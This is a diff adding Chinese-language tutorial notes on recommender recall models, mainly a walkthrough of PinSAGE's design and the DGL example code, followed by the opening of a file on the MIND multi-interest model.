+这里对于**计算权重之后如何得到top-t的邻居节点，**原文并没有直接的叙述。这里可以有两种做法，第一种就是直接采用重要权重，这种方法言简意赅，比较直观。第二种做法就是对游走得到的所有邻居进行随机抽样，而计算出的权重可以用于聚合阶段。个人理解第二种做法的可行性出于两点原因，其一是这样方法可以避免存在一些item由于权重系数低永远不会被选中的问题；其二可能并不是将所有重要性的邻居进行聚合更合理，毕竟重要性权重是通过随机采样而得到的，具有一定的随机性。当然以上两种方法都是可行的方案，可以通过尝试看看具体哪种方法会更有效。
+
+### 聚合函数
+
+PinSAGE中提到的Convolve算法（单层图卷积操作）相当于GraphSAGE算法的聚合过程，在实际执行过程中通过对每一层执行一次图卷积操作以得到不同阶邻居的信息，具体过程如下图所示：
+
+<div align=center>
+    <img src="https://cdn.jsdelivr.net/gh/swallown1/blogimages@main/images/image-20220406202027832.png" style="zoom:110%;"/>
+</div>
+
+上述的单层图卷积过程如下三步：
+
+1. 聚合邻居： 先将所有的邻居节点经过一次非线性转化(一层DNN)，再由聚合函数(Pooling聚合) $\gamma$（如元素平均，**加权和**等）将所有邻居信息聚合成目标节点的embedding。这里的加权聚合采用的是通过random-walk得到的重要性权重。
+2. 更新当前节点的embedding：将目标节点当前的向量 $z_u$ 与步骤1中聚合得到的邻居向量 $n_u$ 进行拼接，在通过一次非线性转化。
+3. 归一化操作：对目标节点向量 $z_u$ 归一化。
+
+Convolve算法的聚合方法与GraphSAGE的Pooling聚合函数相同，主要区别在于对更新得到的向量 $z_u$ 进行归一化操作，**可以使训练更稳定，以及在近似查找最近邻的应用中更有效率。**
+
+### 基于**mini-batch**堆叠多层图卷积
+
+与GraphSAGE类似，采用的是基于mini-batch 的方式进行训练。之所以这么做的原因是因为什么呢？在实际的工业场景中，由于用户交互图非常庞大，无法对于所有的节点同时学习一个embedding，因此需要从原始图上寻找与 mini-batch 节点相关的子图。具体地是说，对于mini-batch内的所有节点，会通过采样的方式逐层的寻找相关邻居节点，再通过对每一层的节点做一次图卷积操作，以从k阶邻居节点聚合信息。
+
+<div align=center>
+    <img src="https://cdn.jsdelivr.net/gh/swallown1/blogimages@main/images/image-20220406204431024.png" style="zoom:60%;"/>
+</div>
+
+如上图所示：对于batch内的所有节点(图上最顶层的6个节点)，依次根据权重采样，得到batch内所有节点的一阶邻居(图上第二层的所有节点)；然后对于所有一阶邻居再次进行采样，得到所有二阶邻居(图上的最后一层)。节点采样阶段完成之后，与采样的顺序相反进行聚合操作。首先对二阶邻居进行单次图卷积，将二阶节点信息聚合已更新一阶节点的向量表示(其中小方块表示的是一层非线性转化)；其次对一阶节点再次进行图卷积操作，将一阶节点的信息聚合已更新batch内所有节点的向量表示。仅此对于一个batch内的所有的样本通过卷积操作学习到一个embedding，而每一个batch的学习过程中仅**利用与mini-batch内相关节点的子图结构。**
+
+### **训练过程**
+
+PinSage在训练时采用的是 Margin Hinge Loss 损失函数，主要的思想是最大化正例embedding之间的相关性，同时还要保证负例之间相关性相比正例之间的相关性小于某个阈值(Margin)。具体的公式如下：
+
+<div align=center>
+    <img src="https://cdn.jsdelivr.net/gh/swallown1/blogimages@main/images/image-20220406210833675.png" style="zoom:100%;"/>
+</div>
+
+其中$Z_p$是学习得到的目标节点embedding，$Z_i$是与目标节点相关item的embedding，$Z_{n_k}$是与目标节点不相关item的embedding，$\Delta$为margin值，具体大小需要调参。那么对于相关节点i，以及不相关节点nk，具体都是如何定义的，这对于召回模型的训练意义重大，让我们看看具体是如何定义的。
+
+对于正样本而言，文中的定义是如果用户在点击的 item q之后立即点击了 item i，即认为 < q, i >构成正样本对。直观的我们很好理解这句话，不过在参考DGL中相关代码实现时，发现这部分的内容和原文中有一定的出入。具体地，代码中将所有的训练样本构造成用户-项目二部图，然后对batch内的每个 item q，根据item-user-item的元路径进行随机游走，得到被同一个用户交互过的 item i，因此组成<q,i>正样本对。对于负样本部分，相对来说更为重要，因此内容相对比较多，将在下面的负样本生成部分详细介绍。
+
+这里还有一个比较重要的细节需要注意，由于模型是用于 item to item的召回，因此优化目标是与正样本之间的表示尽可能的相近，与负样本之间的表示尽可能的远。而图卷积操作会使得具有邻接关系的节点表示具有同质性，因此结合这两点，就需要在构建图结构的时，要将**训练样本之间可能存在的边在二部图上删除**，避免因为边的存在使得因卷积操作而导致的信息泄露。
+
+### 工程技巧
+
+由于PinSAGE是一篇工业界的论文，其中会涉及与实际工程相关的内容，这里在了解完算法思想之后，再从实际落地的角度看看PinSAGE给我们介绍的工程技巧。
+
+**负样本的生成**
+
+召回模型最主要的任务是从候选集合中选出用户可能感兴趣的item，直观的理解就是让模型将用户喜欢的和不喜欢的进行区分。然而由于候选集合的庞大数量，许多item之间十分相似，导致模型划分出来用户喜欢的item中会存在一些难以区分的item(即与用户非常喜欢item比较相似的那一部分)。因此对于召回模型不仅能区分用户喜欢和不喜欢的 item，同时还能区分与用户喜欢的 item 十分相似的那一部分item。那么如果做到呢？这主要是交给 easy negative examples 和 hard negative examples 两种负样本给模型学习。
+
+- easy 负样本：这里对于mini-batch内的所有pair(训练样本对)会共享500负样本，这500个样本从batch之外的所有节点中随机采样得到。这么做可以减少在每个mini-batch中因计算所有节点的embedding所需的时间，文中指出这和为每个item采样一定数量负样本无差异。
+- hard 负样本：这里使用hard 负样本的原因是根据实际场景的问题出发，模型需要从20亿的物品item集合中识别出最相似的1000个，即模型需要从2百万 item 中识别出最相似的那一个 item。也就是说模型的区分能力不够细致，为了解决这个问题，加入了一些hard样本。对于hard 负样本，应该是与 q 相似 以及和 i 不相似的物品，具体地的生成方式是将图上的节点计算相对节点 q 的个性化PageRank分值，根据分值的排序随机从2000~5000的位置选取节点作为负样本。
+
+负样本的构建是召回模型的中关键的内容，在各家公司的工作都予以体现，具体的大家可以参考 Facebook 发表的[《Embedding-based Retrieval in Facebook Search》](https://arxiv.org/pdf/2006.11632v1.pdf)
+
+**渐进式训练(Curriculum training)**
+
+由于hard 负样本的加入，模型的训练时间加长（由于与q过于相似，导致loss比较小，导致梯度更新的幅度比较小，训练起来比较慢），那么渐进式训练就是为了来解决这个问题。
+
+如何渐进式：先在第一轮训练使用easy 负样本，帮助模型先快速收敛(先让模型有个最基本的分辨能力)到一定范围，然后在逐步分加入hard负样本(方式是在第n轮训练时给每个物品的负样本集合增加n-1个 hard 负样本)，以调整模型细粒度的区分能力(让模型能够区分相似的item)。
+
+**节点特征(side information)**
+
+这里与EGES的不同，这里的边信息不是端到端训练得到，而是通过事前的预处理得到的。对于每个节点(即 pin)，都会有一个图片和一点文本信息。因此对于每个节点使用图片的向量、文字的向量以及节点的度拼接得到。这里其实也解释了为什么在图卷积操作时，会先进行一个非线性转化，其实就是将不同空间的特征进行转化(融合)。
+
+**构建 mini-batch**
+
+不同于常规的构建方式，PinSAGE中构建mini-batch的方式是基于生产者消费者模式。什么意思的，就是将CPU和GPU分开工作，让CPU负责取特征，重建索引，邻接列表，负采样等工作，让GPU进行矩阵运算，即CPU负责生产每个batch所需的所有数据，GPU则根据CPU生产的数据进行消费(运算)。这样由于考虑GPU的利用率，无法将所有特征矩阵放在GPU，只能存在CPU中，然而每次查找会导致非常耗时，通过上面的方式使得图卷积操作过程中就没有GPU与CPU的通信需求。
+
+**多GPU训练超大batch**
+
+前向传播过程中，各个GPU等分minibatch，共享一套模型参数；反向传播时，将每个GPU中的参数梯度都聚合到一起，同步执行SGD。为了保证因海量数据而使用的超大batchsize的情况下模型快速收敛以及泛化精度，采用warmup过程，即在第一个epoch中将学习率线性提升到最高，后面的epoch中再逐步指数下降。
+
+**使用MapReduce高效推断**
+
+在模型训练结束之后，需要为所有节点计算一个embedding，如果按照训练过程中的前向传播过程来生成，会存在大量重复的计算。因为当计算一个节点的embedding的时候，其部分邻居节点已经计算过了，同时如果该节点作为其他节点邻居时，也会被再次计算。针对这个问题，本文采用MapReduce的方法进行推断。该过程主要分为两步，具体如下图所示：
+
+<div align=center>
+    <img src="https://cdn.jsdelivr.net/gh/swallown1/blogimages@main/images/image-20220407132111547.png" style="zoom:60%;"/>
+</div>
+
+1. 将item的embedding进行聚合，即利用item的图片、文字和度等信息的表示进行join(拼接)，在通过一层dense后得到item的低维向量。
+2. 然后根据item来匹配其一阶邻居(join)，然后根据item进行pooling(其实就是GroupBy pooling)，得到一次图卷积操作。通过堆叠多次直接得到全量的embedding。
+
+其实这块主要就是通过MapReduce的大数据处理能力，直接对全量节点进行一次运算得到其embedding，避免了分batch所导致的重复计算。
+
+## 代码解析
+
+了解完基本的原理之后，最关键的还是得解析源码，以证实上面讲的细节的准确性。下面基于DGL中实现的代码，看看模型中的一些细节。
+
+###  数据处理
+
+在弄清楚模型之前，最重要的就是知道送入模型的数据到底是什么养的，以及PinSAGE相对于GraphSAGE最大的区别就在于如何采样邻居，如何构建负样本等。
+
+首先需要明确的是，无论是**邻居采样**还是**样本的构造**都发生在图结构上，因此最主要的是需要先构建一个user和item组成的二部图。
+
+```python
+# ratings是所有的用户交互
+# 过滤掉为出现在交互中的用户和项目
+distinct_users_in_ratings = ratings['user_id'].unique()
+distinct_movies_in_ratings = ratings['movie_id'].unique()
+users = users[users['user_id'].isin(distinct_users_in_ratings)]
+movies = movies[movies['movie_id'].isin(distinct_movies_in_ratings)]
+
+# 将电影特征分组 genres (a vector), year (a category), title (a string)
+genre_columns = movies.columns.drop(['movie_id', 'title', 'year'])
+movies[genre_columns] = movies[genre_columns].fillna(False).astype('bool')
+movies_categorical = movies.drop('title', axis=1)
+
+## 构建图
+graph_builder = PandasGraphBuilder()
+graph_builder.add_entities(users, 'user_id', 'user')  # 添加user类型节点
+graph_builder.add_entities(movies_categorical, 'movie_id', 'movie')  # 添加movie类型节点
+
+#  构建用户-电影的无向图
+graph_builder.add_binary_relations(ratings, 'user_id', 'movie_id', 'watched')
+graph_builder.add_binary_relations(ratings, 'movie_id', 'user_id', 'watched-by')
+
+g = graph_builder.build()
+```
+
+在构建完原图之后，需要将交互数据(ratings)分成训练集和测试集，然后根据测试集从原图中抽取出与训练集中相关节点的子图。
+
+```python
+# train_test_split_by_time 根据时间划分训练集和测试集
+# 将用户的倒数第二次交互作为验证，最后一次交互用作测试
+# train_indices 为用于训练的用户与电影的交互
+train_indices, val_indices, test_indices = train_test_split_by_time(ratings, 'timestamp', 'user_id')
+
+# 只使用训练交互来构建图形，测试集相关的节点不应该出现在训练过程中。
+# 从原图中提取与训练集相关节点的子图
+train_g = build_train_graph(g, train_indices, 'user', 'movie', 'watched', 'watched-by')
+```
+
+
+
+### 正负样本采样
+
+在得到训练图结构之后，为了进行PinSAGE提出的item2item召回任务，需要构建相应的训练样本。对于训练样本主要是构建正样本对和负样本对，前面我们已经提到了正样本对是基于 item to user to item的随即游走得到的；对于负样本DGL的实现主要是随机采样，即只有easy sample，未实现hard sample。具体地，DGL中主要是通过sampler_module.ItemToItemBatchSampler方法进行采样，主要代码如下：
+
+```python
+class ItemToItemBatchSampler(IterableDataset):
+    def __init__(self, g, user_type, item_type, batch_size):
+        self.g = g
+        self.user_type = user_type
+        self.item_type = item_type
+        self.user_to_item_etype = list(g.metagraph()[user_type][item_type])[0]
+        self.item_to_user_etype = list(g.metagraph()[item_type][user_type])[0]
+        self.batch_size = batch_size
+
+    def __iter__(self):
+        while True:
+            # 随机采样batch_size个节点作为head  即论文中的q
+            heads = torch.randint(0, self.g.number_of_nodes(self.item_type), (self.batch_size,))
+            
+            # 本次元路径表示从item游走到user，再从user游走到item，总共二跳，取出二跳节点(电影节点)作为tails(即正样本)
+            # 得到与heads被同一个用户消费过的其他item，做正样本
+            # 这么做可能存在问题，
+            #   1. 这种游走肯定会使正样本集中于少数热门item；
+            #   2. 如果item只被一个用户消费过，二跳游走岂不是又回到起始item，这种case还是要处理的
+            tails = dgl.sampling.random_walk(
+                self.g,
+                heads,
+                metapath=[self.item_to_user_etype, self.user_to_item_etype])[0][:, 2]
+            
+            # 随机采样做负样本， 没有hard negative
+            # 这么做会存在被同一个用户交互过的movie也会作为负样本
+            neg_tails = torch.randint(0, self.g.number_of_nodes(self.item_type), (self.batch_size,))
+
+            mask = (tails != -1)
+            yield heads[mask], tails[mask], neg_tails[mask]
+```
+
+上面的样本采样过程只是一个简单的示例，如果面对实际问题，需要自己来重新完成这部分的内容。
+
+### 邻居节点采样
+
+再得到训练样本之后，接下来主要是在训练图上，为heads节点采用其邻居节点。在DGL中主要是通过sampler_module.NeighborSampler来实现，具体地，通过**sample_blocks**方法回溯生成各层卷积需要的block，即所有的邻居集合。其中需要注意的几个地方，基于随机游走的重要邻居采样，DGL已经实现，具体参考**[dgl.sampling.PinSAGESampler](https://docs.dgl.ai/generated/dgl.sampling.PinSAGESampler.html)**，其次避免信息泄漏，代码中，先将head → tails,head → neg_tails从frontier中先删除，再生成block。
+
+```python
+class NeighborSampler(object):  # 图卷积的邻居采样
+    def __init__(self, g, user_type, item_type, random_walk_length, random_walk_restart_prob,
+                 num_random_walks, num_neighbors, num_layers):
+        self.g = g
+        self.user_type = user_type
+        self.item_type = item_type
+        self.user_to_item_etype = list(g.metagraph()[user_type][item_type])[0]
+        self.item_to_user_etype = list(g.metagraph()[item_type][user_type])[0]
+        
+        # 每层都有一个采样器，根据随机游走来决定某节点邻居的重要性(主要的实现已封装在PinSAGESampler中)
+        # 可以认为经过多次游走，落脚于某邻居节点的次数越多，则这个邻居越重要，就更应该优先作为邻居
+        self.samplers = [
+            dgl.sampling.PinSAGESampler(g, item_type, user_type, random_walk_length,
+                random_walk_restart_prob, num_random_walks, num_neighbors)
+            for _ in range(num_layers)]
+
+    def sample_blocks(self, seeds, heads=None, tails=None, neg_tails=None):
+        """根据随机游走得到的重要性权重，进行邻居采样"""
+        blocks = []
+        for sampler in self.samplers:
+            frontier = sampler(seeds) # 通过随机游走进行重要性采样，生成中间状态
+            if heads is not None:
+                # 如果是在训练，需要将heads->tails 和 head->neg_tails这些待预测的边都去掉
+                eids = frontier.edge_ids(torch.cat([heads, heads]), torch.cat([tails, neg_tails]), return_uv=True)
+                
+                if len(eids) > 0:
+                    old_frontier = frontier
+                    frontier = dgl.remove_edges(old_frontier, eids)
+            
+            # 只保留seeds这些节点，将frontier压缩成block
+            # 并设置block的input/output nodes
+            block = compact_and_copy(frontier, seeds)
+            
+            # 本层的输入节点就是下一层的seeds
+            seeds = block.srcdata[dgl.NID]
+            blocks.insert(0, block)
+        return blocks
+```
+
+其次**sample_from_item_pairs**方法是通过上面得到的heads, tails, neg_tails分别构建基于正样本对以及基于负样本对的item-item图。由heads→tails生成的pos_graph，用于计算pairwise loss中的pos_score，由heads→neg_tails生成的neg_graph，用于计算pairwise loss中的neg_score。
+
+```python
+class NeighborSampler(object):  # 图卷积的邻居采样
+    def __init__(self, g, user_type, item_type, random_walk_length, ....):
+        pass
+
+    def sample_blocks(self, seeds, heads=None, tails=None, neg_tails=None):
+        pass
+
+    def sample_from_item_pairs(self, heads, tails, neg_tails):
+        # 由heads->tails构建positive graph， num_nodes设置成原图中所有item节点
+        pos_graph = dgl.graph(
+            (heads, tails),
+            num_nodes=self.g.number_of_nodes(self.item_type))
+
+        # 由heads->neg_tails构建negative graph，num_nodes设置成原图中所有item节点
+        neg_graph = dgl.graph(
+            (heads, neg_tails),
+            num_nodes=self.g.number_of_nodes(self.item_type))
+
+        # 去除heads, tails, neg_tails以外的节点，将大图压缩成小图，避免与本轮训练不相关节点的结构也传入模型，提升计算效率
+        pos_graph, neg_graph = dgl.compact_graphs([pos_graph, neg_graph])
+
+        # 压缩后的图上的节点是原图中的编号
+        # 注意这时pos_graph与neg_graph不是分开编号的两个图，它们来自于同一幅由heads, tails, neg_tails组成的大图
+        # pos_graph和neg_graph中的节点相同，都是heads+tails+neg_tails，即这里的seeds，pos_graph和neg_graph只是边不同而已
+        seeds = pos_graph.ndata[dgl.NID]  # 字典  不同类型节点为一个tensor，为每个节点的id值
+
+        blocks = self.sample_blocks(seeds, heads, tails, neg_tails)
+        return pos_graph, neg_graph, blocks
+```
+
+
+
+### PinSAGE
+
+在得到所有所需的数据之后，看看模型结构。其中主要分为三个部分:**节点特征映射**，**多层卷积模块 **和 **给边打分**。
+
+```python
+class PinSAGEModel(nn.Module):
+    def __init__(self, full_graph, ntype, textsets, hidden_dims, n_layers):
+        super().__init__()
+        # 负责将节点上的各种特征都映射成向量，并聚合在一起，形成这个节点的原始特征向量
+        self.proj = layers.LinearProjector(full_graph, ntype, textsets, hidden_dims)
+        # 负责多层图卷积，得到各节点最终的embedding
+        self.sage = layers.SAGENet(hidden_dims, n_layers)
+        # 负责根据首尾两端的节点的embedding，计算边上的得分
+        self.scorer = layers.ItemToItemScorer(full_graph, ntype)
+
+    def forward(self, pos_graph, neg_graph, blocks):
+        """ pos_graph, neg_graph, blocks 的最后一层都对应batch中 heads+tails+neg_tails 这些节点
+        """
+        # 得到batch中heads+tails+neg_tails这些节点的最终embedding
+        h_item = self.get_repr(blocks)
+        # 得到heads->tails这些边上的得分
+        pos_score = self.scorer(pos_graph, h_item)
+        # 得到heads->neg_tails这些边上的得分
+        neg_score = self.scorer(neg_graph, h_item)
+        # pos_graph与neg_graph边数相等，因此neg_score与pos_score相减
+        # 返回margin hinge loss，这里的margin是1 
+        return (neg_score - pos_score + 1).clamp(min=0)
+
+    def get_repr(self, blocks):
+        """
+        通过self.sage，经过多层卷积，得到输出节点上的卷积结果，再加上这些输出节点上原始特征的映射结果
+        得到输出节点上最终的向量表示
+        """
+        h_item = self.proj(blocks[0].srcdata) # 将输入节点上的原始特征映射成hidden_dims长的向量
+        h_item_dst = self.proj(blocks[-1].dstdata) # 将输出节点上的原始特征映射成hidden_dims长的向量
+        return h_item_dst + self.sage(blocks, h_item)
+```
+
+**节点特征映射：**由于节点使用到了多种类型（int,float array,text）的原始特征，这里使用了一个DNN层来融合成固定的长度。
+
+```python
+class LinearProjector(nn.Module):
+    def __init__(self, full_graph, ntype, textset, hidden_dims):
+        super().__init__()
+        self.ntype = ntype
+        # 初始化参数,这里为全图中所有节点特征初始化
+        # 如果特征类型是float，就定义一个nn.Linear线性变化为指定维度
+        # 如果特征类型是int，就定义Embedding矩阵，将id型特征转化为向量
+        self.inputs = _init_input_modules(full_graph, ntype, textset, hidden_dims)
+
+    def forward(self, ndata):
+        projections = []
+        for feature, data in ndata.items():
+            # NID是计算子图中节点、边在原图中的编号，没必要用做特征
+            if feature == dgl.NID:
+                continue
+            module = self.inputs[feature]  # 根据特征名取出相应的特征转化器
+            #  对文本属性进行处理 
+            if isinstance(module, (BagOfWords, BagOfWordsPretrained)):
+                length = ndata[feature + '__len']  
+                result = module(data, length)
+            else:
+                result = module(data)   # look_up
+            projections.append(result)
+
+        # 将每个特征都映射后的hidden_dims长的向量，element-wise相加
+        return torch.stack(projections, 1).sum(1)   # [nodes, hidden_dims]
+```
+
+**多层卷积模块：**根据采样得到的节点blocks，然后通过进行逐层卷积，得到各节点最终的embedding。
+
+```python
+class SAGENet(nn.Module):
+    def __init__(self, hidden_dims, n_layers):
+        """g : 二部图"""
+        super().__init__()
+        self.convs = nn.ModuleList()
+        for _ in range(n_layers):
+            self.convs.append(WeightedSAGEConv(hidden_dims, hidden_dims, hidden_dims))
+
+    def forward(self, blocks, h):
+        # 这里根据邻居节点进逐层聚合
+        for layer, block in zip(self.convs, blocks):
+            h_dst = h[:block.number_of_nodes('DST/' + block.ntypes[0])]  #前一次卷积的结果
+            h = layer(block, (h, h_dst), block.edata['weights'])
+        return h
+```
+
+其中WeightedSAGEConv为根据邻居权重的聚合函数。
+
+```python
+class WeightedSAGEConv(nn.Module):
+    def __init__(self, input_dims, hidden_dims, output_dims, act=F.relu):
+        super().__init__()
+        self.act = act
+        self.Q = nn.Linear(input_dims, hidden_dims)
+        self.W = nn.Linear(input_dims + hidden_dims, output_dims)
+        self.reset_parameters()
+        self.dropout = nn.Dropout(0.5)
+
+    def reset_parameters(self):
+        gain = nn.init.calculate_gain('relu')
+        nn.init.xavier_uniform_(self.Q.weight, gain=gain)
+        nn.init.xavier_uniform_(self.W.weight, gain=gain)
+        nn.init.constant_(self.Q.bias, 0)
+        nn.init.constant_(self.W.bias, 0)
+
+    def forward(self, g, h, weights):
+        """
+        g : 基于batch的子图
+        h : 节点特征
+        weights : 边的权重
+        """
+        h_src, h_dst = h  # 邻居节点特征，自身节点特征
+        with g.local_scope():
+            # 将src节点上的原始特征映射成hidden_dims长，存储于'n'字段
+            g.srcdata['n'] = self.act(self.Q(self.dropout(h_src)))
+            g.edata['w'] = weights.float()
+
+            # src节点上的特征'n'乘以边上的权重，构成消息'm'
+            # dst节点将所有接收到的消息'm'，相加起来，存入dst节点的'n'字段
+            g.update_all(fn.u_mul_e('n', 'w', 'm'), fn.sum('m', 'n'))
+
+            # 将边上的权重w拷贝成消息'm'
+            # dst节点将所有接收到的消息'm'，相加起来，存入dst节点的'ws'字段
+            g.update_all(fn.copy_e('w', 'm'), fn.sum('m', 'ws'))
+            
+            # 邻居节点的embedding的加权和
+            n = g.dstdata['n']
+            ws = g.dstdata['ws'].unsqueeze(1).clamp(min=1)  # 边上权重之和
+
+            # 先将邻居节点的embedding，做加权平均
+            # 再拼接上一轮卷积后，dst节点自身的embedding
+            # 再经过线性变化与非线性激活，得到这一轮卷积后各dst节点的embedding
+            z = self.act(self.W(self.dropout(torch.cat([n / ws, h_dst], 1))))
+            
+            # 本轮卷积后，各dst节点的embedding除以模长，进行归一化
+            z_norm = z.norm(2, 1, keepdim=True)
+            z_norm = torch.where(z_norm == 0, torch.tensor(1.).to(z_norm), z_norm)
+            z = z / z_norm
+            return z
+```
+
+**给边打分：** 经过SAGENet得到了batch内所有节点的embedding，这时需要根据学习到的embedding为pos_graph和neg_graph中的每个边打分，即计算正样本对和负样本的內积。具体逻辑是根据两端节点embedding的点积，然后加上两端节点的bias。
+
+```python
+class ItemToItemScorer(nn.Module):
+    def __init__(self, full_graph, ntype):
+        super().__init__()
+        n_nodes = full_graph.number_of_nodes(ntype)
+        self.bias = nn.Parameter(torch.zeros(n_nodes, 1))
+
+    def _add_bias(self, edges):
+        bias_src = self.bias[edges.src[dgl.NID]]
+        bias_dst = self.bias[edges.dst[dgl.NID]]
+        # 边上两顶点的embedding的点积，再加上两端节点的bias
+        return {'s': edges.data['s'] + bias_src + bias_dst}
+
+    def forward(self, item_item_graph, h):
+        """
+        item_item_graph : 每个边  为 pair 对
+        h : 每个节点隐层状态
+        """
+        with item_item_graph.local_scope():
+            item_item_graph.ndata['h'] = h
+            # 边两端节点的embedding做点积，保存到s
+            item_item_graph.apply_edges(fn.u_dot_v('h', 'h', 's'))
+            # 为每个边加上偏置，即加上两个顶点的偏置
+            item_item_graph.apply_edges(self._add_bias)
+            # 算出来的得分为 pair 的预测得分
+            pair_score = item_item_graph.edata['s']
+        return pair_score
+```
+
+### 训练过程
+
+介绍完“数据处理”和“PinSAGE模块”之后，接下来就是通过训练过程将上述两部分串起来，详细的见代码：
+
+```python
+def train(dataset, args):
+    #从dataset中加载数据和原图
+    g = dataset['train-graph']
+	...
+    
+    device = torch.device(args.device)
+    # 为节点随机初始化一个id，用于做embedding
+    g.nodes[user_ntype].data['id'] = torch.arange(g.number_of_nodes(user_ntype))
+    g.nodes[item_ntype].data['id'] = torch.arange(g.number_of_nodes(item_ntype))
+
+    
+    # 负责采样出batch_size大小的节点列表: heads, tails,  neg_tails
+    batch_sampler = sampler_module.ItemToItemBatchSampler(
+        g, user_ntype, item_ntype, args.batch_size)
+    
+    # 由一个batch中的heads,tails,neg_tails构建训练这个batch所需要的
+    # pos_graph,neg_graph 和 blocks
+    neighbor_sampler = sampler_module.NeighborSampler(
+        g, user_ntype, item_ntype, args.random_walk_length,
+        args.random_walk_restart_prob, args.num_random_walks, args.num_neighbors,
+        args.num_layers)
+
+    # 每次next()返回: pos_graph,neg_graph和blocks，做训练之用
+    collator = sampler_module.PinSAGECollator(neighbor_sampler, g, item_ntype, textset)
+    dataloader = DataLoader(
+        batch_sampler,
+        collate_fn=collator.collate_train,
+        num_workers=args.num_workers)
+    
+    # 每次next()返回blocks，做训练中测试之用
+    dataloader_test = DataLoader(
+        torch.arange(g.number_of_nodes(item_ntype)),
+        batch_size=args.batch_size,
+        collate_fn=collator.collate_test,
+        num_workers=args.num_workers)
+    dataloader_it = iter(dataloader)
+
+    # 准备模型
+    model = PinSAGEModel(g, item_ntype, textset, args.hidden_dims, args.num_layers).to(device)
+    opt = torch.optim.Adam(model.parameters(), lr=args.lr)
+
+    # 训练过程
+    for epoch_id in range(args.num_epochs):
+        model.train()
+        for batch_id in tqdm.trange(args.batches_per_epoch):
+            pos_graph, neg_graph, blocks = next(dataloader_it)
+            for i in range(len(blocks)):
+                blocks[i] = blocks[i].to(device)
+            pos_graph = pos_graph.to(device)
+            neg_graph = neg_graph.to(device)
+
+            loss = model(pos_graph, neg_graph, blocks).mean()
+            opt.zero_grad()
+            loss.backward()
+            opt.step()
+```
+
+至此，DGL PinSAGE example的主要实现代码已经全部介绍完了，感兴趣的可以去官网对照源代码自行学习。
+
+## 参考
+
+[Graph Convolutional Neural Networks for Web-Scale Recommender Systems](https://arxiv.org/abs/1806.01973)
+
+[PinSAGE 召回模型及源码分析(1): PinSAGE 简介](https://zhuanlan.zhihu.com/p/275942839)
+
+[全面理解PinSage](https://zhuanlan.zhihu.com/p/133739758)
+
+[[论文笔记]PinSAGE——Graph Convolutional Neural Networks for Web-Scale Recommender Systems](https://zhuanlan.zhihu.com/p/461720302)
+
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.4/MIND.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.4/MIND.md
new file mode 100644
index 0000000..b672177
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.4/MIND.md
@@ -0,0 +1,415 @@
+## 写在前面
+MIND模型(Multi-Interest Network with Dynamic Routing)， 是阿里团队2019年在CIKM上发的一篇paper，该模型依然是用在召回阶段的一个模型，解决的痛点是之前在召回阶段的模型，比如双塔，YouTubeDNN召回模型等，在模拟用户兴趣的时候，总是基于用户的历史点击，最后通过pooling的方式得到一个兴趣向量，用该向量来表示用户的兴趣，但是该篇论文的作者认为，**用一个向量来表示用户的广泛兴趣未免有点太过于单一**，这是作者基于天猫的实际场景出发的发现，每个用户每天与数百种产品互动， 而互动的产品往往来自于很多个类别，这就说明用户的兴趣极其广泛，**用一个向量是无法表示这样广泛的兴趣的**，于是乎，就自然而然的引出一个问题，**有没有可能用多个向量来表示用户的多种兴趣呢？** 
+
+这篇paper的核心是胶囊网络，**该网络采用了动态路由算法能非常自然的将历史商品聚成多个集合，每个集合的历史行为进一步推断对应特定兴趣的用户表示向量。这样，对于一个特定的用户，MND输出了多个表示向量，它们代表了用户的不同兴趣。当用户再有新的交互时，通过胶囊网络，还能实时的改变用户的兴趣表示向量，做到在召回阶段的实时个性化**。那么，胶囊网络究竟是怎么做到的呢？ 胶囊网络又是什么原理呢？
+
+**主要内容**：
+* 背景与动机
+* 胶囊网络与动态路由机制
+* MIND模型的网络结构与细节剖析
+* MIND模型之简易代码复现
+* 总结
+
+## 背景与动机
+本章是基于天猫APP的背景来探索十亿级别的用户个性化推荐。天猫的推荐的流程主要分为召回阶段和排序阶段。召回阶段负责检索数千个与用户兴趣相关的候选物品，之后，排序阶段预测用户与这些候选物品交互的精确概率。这篇文章做的是召回阶段的工作，来对满足用户兴趣的物品的有效检索。
+
+作者这次的出发点是基于场景出发，在天猫的推荐场景中，作者发现**用户的兴趣存在多样性**。平均上，10亿用户访问天猫，每个用户每天与数百种产品互动。交互后的物品往往属于不同的类别，说明用户兴趣的多样性。 一张图片会更加简洁直观：
+
+![在这里插入图片描述](https://img-blog.csdnimg.cn/67ec071db0d44eb2ac0ee499980bf8a9.png#pic_center)
+因此如果能在**召回阶段建立用户多兴趣模型来模拟用户的这种广泛兴趣**，那么作者认为是非常有必要的，因为召回阶段的任务就是根据用户兴趣检索候选商品嘛。
+
+那么，如何能基于用户的历史交互来学习用户的兴趣表示呢？  以往的解决方案如下：
+* 协同过滤的召回方法(itemcf和usercf)是通过历史交互过的物品或隐藏因子直接表示用户兴趣， 但会遇到**稀疏或计算问题**
+* 基于深度学习的方法用低维的embedding向量表示用户，比如YoutubeDNN召回模型，双塔模型等，都是把用户的基本信息，或者用户交互过的历史商品信息等，过一个全连接层，最后编码成一个向量，用这个向量来表示用户兴趣，但作者认为，**这是多兴趣表示的瓶颈**，因为需要压缩所有与用户多兴趣相关的信息到一个表示向量，所有用户多兴趣的信息进行了混合，导致这种多兴趣并无法体现，所以往往召回回来的商品并不是很准确，除非向量维度很大，但是大维度又会带来高计算。
+* DIN模型在Embedding的基础上加入了Attention机制，来选择的捕捉用户兴趣的多样性，但采用Attention机制，**对于每个目标物品，都需要重新计算用户表示**，这在召回阶段是行不通的(海量)，所以DIN一般是用于排序。
+
+所以，作者想在召回阶段去建模用户的多兴趣，但以往的方法都不好使，为了解决这个问题，就提出了动态路由的多兴趣网络MIND。为了推断出用户的多兴趣表示，提出了一个多兴趣提取层，该层使用动态路由机制自动的能将用户的历史行为聚类，然后每个类簇中产生一个表示向量，这个向量能代表用户某种特定的兴趣，而多个类簇的多个向量合起来，就能表示用户广泛的兴趣了。
+
+这就是MIND的提出动机以及初步思路了，这里面的核心是Multi-interest extractor layer， 而这里面重点是动态路由与胶囊网络，所以接下来先补充这方面的相关知识。
+
+## 胶囊网络与动态路由机制
+### 胶囊网络初识
+Hinton大佬在2011年的时候，就首次提出了"胶囊"的概念， "胶囊"可以看成是一组聚合起来输出整个向量的小神经元组合，这个向量的每个维度(每个小神经元)，代表着某个实体的某个特征。
+
